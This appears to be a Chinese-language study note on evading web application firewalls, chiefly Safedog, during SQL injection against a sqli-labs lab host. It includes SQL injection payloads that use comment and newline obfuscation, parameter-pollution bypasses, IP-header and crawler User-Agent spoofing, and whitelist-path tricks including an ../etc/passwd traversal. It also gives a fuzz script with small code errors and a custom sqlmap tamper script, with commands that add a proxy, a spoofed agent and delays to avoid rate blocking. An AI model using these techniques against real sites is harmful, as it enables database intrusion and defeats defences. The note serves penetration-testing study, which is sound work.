Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
参考地址
https://www.freebuf.com/articles/web/229982.html
常见的waf防护软件安全狗、宝塔,下面以安全狗为例
waf绕过原理:特殊符号,某些符号并不影响sql语句执行,但可以绕过waf检测
mysql> select ~database();
+----------------------+
| ~database() |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)
测试过滤
空格,等号
空格=>/**/
等号=>like
if(isset($_REQUEST['id']))
{
$id=$_REQUEST['id'];
post: id=-1 union select 1,2,3--+
post: id=-1 union select 1,database(),3--+
post: id=-1 union select 1,database/**/(),3--+
mysql> select database/**/();
+-------------+
| database () |
+-------------+
| security |
+-------------+
1 row in set (0.00 sec)
mysql> select * from users where id=-1/*%0a*/union/*%0a*/select/*%0a*/1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1/**-1 union select 1,2,3#*/;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id=1/**&id=-1%20union%20select%201,2,3%23*/;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
安全狗匹配的时候匹配的是
1/**-1 union select 1,2,3#*/
或1/**&id=-1%20union%20select%201,2,3%23*/
其中符号中起到注释作用,正常情况下没有执行,安全狗直接不管,但是参数污染导致接受的真实数据是-1 union select 1,2,3#*/能正常执行sql
常见的Web服务器对同样名称的参数出现多次的处理方式如下:
Web环境 | 参数获取函数 | 获取到的参数 |
---|---|---|
PHP/Apache | $_GET(“par”) | last |
JSP/Tomcat | Request.getParameter(“par”) | first |
Perl(CGI)/Apache | Param(“par”) | first |
Python/Apache | getvalue(“par”) | [“first”,“last”] |
ASP.NET/IIS | Request.QueryString(“par”) | first,last |
参数污染:
php只接受提交的最后一个参数(last)
$id=$_GET['x'];
echo $id;
?>
简单fuzz脚本
import request
import time
url='http://192.168.101.7/sqlilabs/Less-2?id=1'
for sqlin in open('字典文件'):
urls=url+sqlin
result=request.get(urls).text
if(result.find('safedog')==-1)
print(sqlin)
time.sleep(1)
注:在操作时,发现大部分绕过都已失效,后续在进行学习
方式一:IP白奖单
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造IP绕过的情况。
测试方法:修改http的header来bypass waf
x-forwarded-for
x-remote-IP
x-originating-IP
x-remote-addr
x-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/ sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注: Aspx/php只识别到前面的.aspx/.php后面基本不识别
方式三:url白名单
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../ manage/../sql.asp?id=2
waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=…/etc/passwd 绕过防御规则。
方式四:爬虫白名单
部分waf有提供爬虫白名单(各大浏览器的爬虫)的功能,识别爬虫的技术一般有两种:
1、根据useragent
2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。User Agent switcher (Firefox附加组件),下载地址:
tamper目录是sqlmap的插件库,在该目录下创建一个文件写入我们的自定义插件safedog.py
代码如下:
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
retVal = payload
if payload:
retVal = retVal.replace('UNION', 'uNiOn/*/%0a*a*/')
retVal = retVal.replace('DATABASE()', 'dataBase/*!(*/)')
retVal = retVal.replace('DATABASE()', 'dataBase%23a%0a')
retVal = retVal.replace('USER()', 'usEr/*!(*/)')
retVal = retVal.replace(' ', '/**/')
retVal = retVal.replace(" ", '%23a%0a')
retVal = retVal.replace('OR', '/*!14400Or*/')
retVal = retVal.replace('AND', '/*!14400aNd*/')
return retVal
python sqlmap.py -u "192.168.101.7/sqlilabs/Less-2/?id=1" --tamper=safedog.py
sqlmap执行语句中 --tamper= 后面加的是我们的插件名
可以看到的是并未注入成功,查看防护日志,发现是sqlmap的数据包头部user-agent字段被检测拦截了
通过代理抓包工具查看http头部user-agent字段,可以看到sqlmap/1.7.5#stable (https://sqlmap.org),安全软件当中是禁止使用这种脚本客户端所以就被拦截,自然插件脚本也就没办法正常执行
通过 --random-agent参数伪造user-agent字段,也可以手动修改。
搜索引擎爬虫user-agent信息:https://blog.csdn.net/liuxl57805678/article/details/89378720
虽然并未注入成功,再次查看防护日志,发现并不是因为sqlmap的数据包头部user-agent字段被检测拦截了,而是其他的检测规则。
备注:在真实环境当中waf可能会配置流量访问也就是说你访问的速度过快会将你访问的ip拉入黑名单,对此我们使用的策略是延时,代理池,爬虫白名单
搜索引擎爬虫user-agent信息:https://blog.csdn.net/liuxl57805678/article/details/89378720
python sqlmap.py -u "192.168.101.7/sqlilabs/Less-2/?id=1" --tamper=safedog.py --proxy=http://10.1.1.2:8888 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
sqlmap --delay参数
–delay 时间(默认为秒)
python sqlmap.py -u "192.168.101.7/sqlilabs/Less-2/?id=1" --tamper=safedog.py --proxy=http://10.1.1.2:8888 --user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" --delay 10